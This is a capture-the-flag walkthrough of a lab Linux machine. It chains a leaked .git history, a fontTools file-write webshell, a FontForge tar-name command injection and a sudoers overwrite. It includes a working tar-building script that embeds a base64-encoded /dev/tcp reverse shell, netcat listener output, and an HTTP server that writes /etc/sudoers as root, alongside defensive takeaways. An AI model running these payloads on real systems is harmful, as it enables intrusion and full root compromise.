Difficulty: Medium  |  OS: Linux

Introduction

VariaType is a Medium Linux machine that hosts a variable font generator. Every step of the chain abuses something that handles files unsafely:

  1. An exposed .git directory on a subdomain leaks credentials from a deleted commit.
  2. CVE-2025-66034, an arbitrary file write in fontTools.varLib, turns a .designspace upload into a PHP webshell as www-data.
  3. CVE-2024-25082, a command injection in FontForge’s archive handling, turns a crafted tar file into a shell as steve.
  4. A sudo rule on a Python plugin installer lets steve write any file as root. I overwrote /etc/sudoers.

1. Reconnaissance

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p22,80 10.129.25.109
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http nginx 1.22.1
|_http-title: VariaType Labs — Variable Font Generator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH and nginx are open. Port 80 redirects to variatype.htb, which I added to /etc/hosts. Fuzzing the Host header turned up a second virtual host, portal.variatype.htb:

1
2
ffuf -u http://variatype.htb/ -H "Host: FUZZ.variatype.htb" \
-w subdomains-top1million.txt -fc 301

Exposed .git

The portal serves its .git directory. git-dumper rebuilds the repository locally:

1
git-dumper http://portal.variatype.htb/.git git-repo

The working tree has an empty $USERS array in auth.php, so the credentials were removed at some point. Deleting a file from the latest commit does not remove it from history, though, and git fsck can list commits that no branch points to:

1
2
3
cd git-repo
git fsck --no-reflog --full --unreachable | grep commit
git show <commit-hash>

The deleted commit still has the old $USERS array with a gitbot account and its password. Those credentials get me into the portal.


2. Foothold — CVE-2025-66034 (fontTools varLib File Write)

What is CVE-2025-66034?

fontTools is a Python library for manipulating fonts. In versions from 4.33.0 up to (but not including) 4.60.2, the fontTools.varLib script has an arbitrary file write bug that becomes remote code execution when it processes a malicious .designspace file. A designspace file is the XML description a variable font is built from. Two weaknesses chain together:

  • Path traversal: varLib takes the output name from the filename attribute of <variable-font> and joins it to the output directory without sanitising it. If the attribute is an absolute path, os.path.join throws away the output directory and writes to the path I chose.
  • Content injection: text inside <labelname> is written verbatim into the output font file. A CDATA split lets raw PHP end up inside the binary.

The vulnerable code:

1
2
3
filename = vf.filename                                # unsanitised
output_path = os.path.join(output_dir, filename) # absolute path wins
vf.save(output_path) # arbitrary file write

Put together, a PHP file lands in a web-accessible directory and runs when I request it:

text
1
2
3
4
5
6
7
8
9
Malicious .designspace
│
├── <variable-font filename="/var/www/.../files/shell.php"> → path traversal
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname> → PHP inside the font
│
▼
fontTools.varLib.main() runs server-side
▼
GET /files/shell.php → PHP executes → RCE as www-data

The font generator on the site accepts .designspace uploads and the master fonts they reference. I generated two minimal master fonts with fontTools.FontBuilder, wrote the designspace with the two elements above, uploaded everything, then requested shell.php from the portal and started a reverse shell from it.

I landed as www-data in the portal’s web root.


3. Lateral Movement — CVE-2024-25082 (FontForge Archive Injection)

Finding the target

Inside the portal’s web root I read auth.php. It still holds the gitbot login, so the credentials from the git history were live. A more useful file was /opt/process_client_submissions.bak:

1
www-data@variatype:/opt$ cat process_client_submissions.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
...
EXTENSIONS=("*.ttf" "*.otf" "*.woff" "*.woff2" "*.zip" "*.tar" "*.tar.gz" "*.sfd")
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
mv "$file" "$QUARANTINE_DIR/"
continue
fi

timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
..."

The script takes every font or archive dropped in the portal’s files directory, as steve, and opens it with FontForge. It checks the name of the uploaded file against a strict regex. It never looks at what is inside an archive.

What is CVE-2024-25082?

FontForge (through 20230101) command injection through crafted archives. When FontForge opens an archive, it reads the first filename in the archive’s table of contents and passes it to system() to handle decompression:

1
2
3
4
5
6
7
8
sprintf(unarchivecmd,
"( cd %s ; %s %s %s %s ) > /dev/null",
archivedir,
archivers[i].unarchive, // e.g. "tar"
archivers[i].extractargs, // e.g. "xf"
name, // the archive filename
desiredfile); // first filename in the TOC, unsanitised
system(unarchivecmd);

desiredfile comes from the archive, so whoever builds the archive controls part of a shell command. If the first entry is named $(bash -c "..."), the shell expands the subshell when system() runs. Python’s tarfile in USTAR_FORMAT writes that name into the table of contents as is.

Exploit

The outer file name, evil.tar, passes the pipeline’s regex. The payload hides in the entry name. I base64-encoded a reverse shell first:

1
echo -n '(bash >& /dev/tcp/10.10.16.138/4443 0>&1) &' | base64

Then built the tar file:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import tarfile

cmd = '$(bash -c "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTM4LzQ0NDMgMD4mMSkgJg== | base64 -d | bash")'

with tarfile.open("evil.tar", "w", format=tarfile.USTAR_FORMAT) as t:
t.addfile(tarfile.TarInfo(cmd))

print("[+] evil.tar created")
1
2
3
www-data@variatype:/tmp$ python3 ./exploit.py
[+] evil.tar created
www-data@variatype:/tmp$ cp evil.tar /var/www/portal.variatype.htb/public/files/evil.tar

With a listener running, the shell came back as steve:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.16.138] from (UNKNOWN) [10.129.25.151] 34636
pwd
/tmp/ffarchive-4424-1
cd /home/steve
ls
user.txt

4. Privilege Escalation — Sudo Plugin Installer

The first thing to check as steve is sudo:

1
2
3
sudo -l
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script is short. It takes a URL, downloads a “validator plugin” from it into /opt/font-tools/validators, and runs as root:

1
2
3
4
5
6
7
from setuptools.package_index import PackageIndex

PLUGIN_DIR = "/opt/font-tools/validators"

def install_validator_plugin(plugin_url):
index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)

The only checks are that the URL starts with http:// or https://, and that it has no more than ten slashes.

The URL-decode bypass

PackageIndex.download() reads the Content-Disposition header of the response to pick the output filename. It URL-decodes that name with urllib.parse.unquote() and joins it to the plugin directory with os.path.join(). That last step has the same flaw as the fontTools bug:

1
2
3
>>> import os.path
>>> os.path.join("/opt/font-tools/validators", "/etc/sudoers")
'/etc/sudoers'

If the second argument is an absolute path, everything before it is discarded, and the plugin directory restriction is gone. The decoded name needs a leading slash, and a server can send one without ever putting a literal / in the header: %2Fetc%2Fsudoers goes through as plain text and unquote() turns it into /etc/sudoers just before the join.

Overwriting /etc/sudoers

A sudoers file with a single line is valid, so replacing the whole file is enough. I wrote the new content, then served it from a small HTTP server on the box with the encoded filename in the header:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
steve@variatype:~$ echo 'steve ALL=(ALL) NOPASSWD: ALL' > /tmp/newsudoers
steve@variatype:~$ cat > /tmp/serve_sudoers.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
PAYLOAD = open("/tmp/newsudoers", "rb").read()

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Disposition',
'attachment; filename="%2Fetc%2Fsudoers"')
self.send_header('Content-Length', str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, *args): pass

HTTPServer(('0.0.0.0', 8889), Handler).serve_forever()
EOF
steve@variatype:~$ python3 /tmp/serve_sudoers.py &

Then I ran the allowed sudo command against it:

1
2
3
4
5
6
7
8
steve@variatype:/tmp$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://127.0.0.1:8889/%2Fetc%2Fsudoers'
[INFO] Attempting to install plugin from: http://127.0.0.1:8889/%2Fetc%2Fsudoers
[INFO] Downloading http://127.0.0.1:8889/%2Fetc%2Fsudoers
[INFO] Plugin installed at: /etc/sudoers
[+] Plugin installed successfully.

steve@variatype:/tmp$ sudo su
root@variatype:/tmp# cat /root/root.txt

Overwriting /etc/sudoers is the blunt option and would break a real system if the old rules mattered. Other public writeups write an SSH public key to /root/.ssh/authorized_keys with the same trick, which is quieter.


Attack Chain

text
1
2
3
4
5
6
7
8
9
portal.variatype.htb → exposed .git → deleted commit → gitbot credentials
↓
.designspace upload → CVE-2025-66034 → shell.php in the web root
↓ RCE as www-data
evil.tar in /files → CVE-2024-25082 → $(...) in the TOC → shell as steve
↓
sudo install_validator.py → %2Fetc%2Fsudoers → os.path.join discards PLUGIN_DIR
↓
root

Summary

Stage Technique CVE
Credentials Exposed .git on portal.variatype.htb, deleted commit found with git fsck —
Foothold .designspace with an absolute output path and PHP in <labelname>, webshell as www-data CVE-2025-66034
Lateral Movement Tar file with $(...) as its first entry name, run through FontForge by a background job, shell as steve CVE-2024-25082
Privilege Escalation Sudo plugin installer, URL-encoded absolute path in Content-Disposition, overwrite of /etc/sudoers —

Key Takeaways

  • Deleting a secret from the latest commit does not delete it. Unreachable commits stay in .git until garbage collection, and an exposed .git directory hands over the whole history. Rotate any credential that ever touched a repository.
  • Never serve .git. Block it at the web server, and keep deployments free of repository metadata.
  • Validate what is inside a file, not only its name. The pipeline checked evil.tar against a strict regex and trusted everything inside it.
  • os.path.join with untrusted input is a vulnerability. Both the fontTools bug and the installer bug come from the same behaviour: an absolute second argument silently replaces the first. Resolve the final path and check that it still sits under the intended directory.
  • Encoded input has to be checked after decoding. %2F passed the length and URL checks, then became a slash right before use.
  • Review wildcard sudo rules. install_validator.py * let me choose the URL, and the script trusted the filename the server sent back. A root-owned script that writes files should never take its output path from the network.

Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏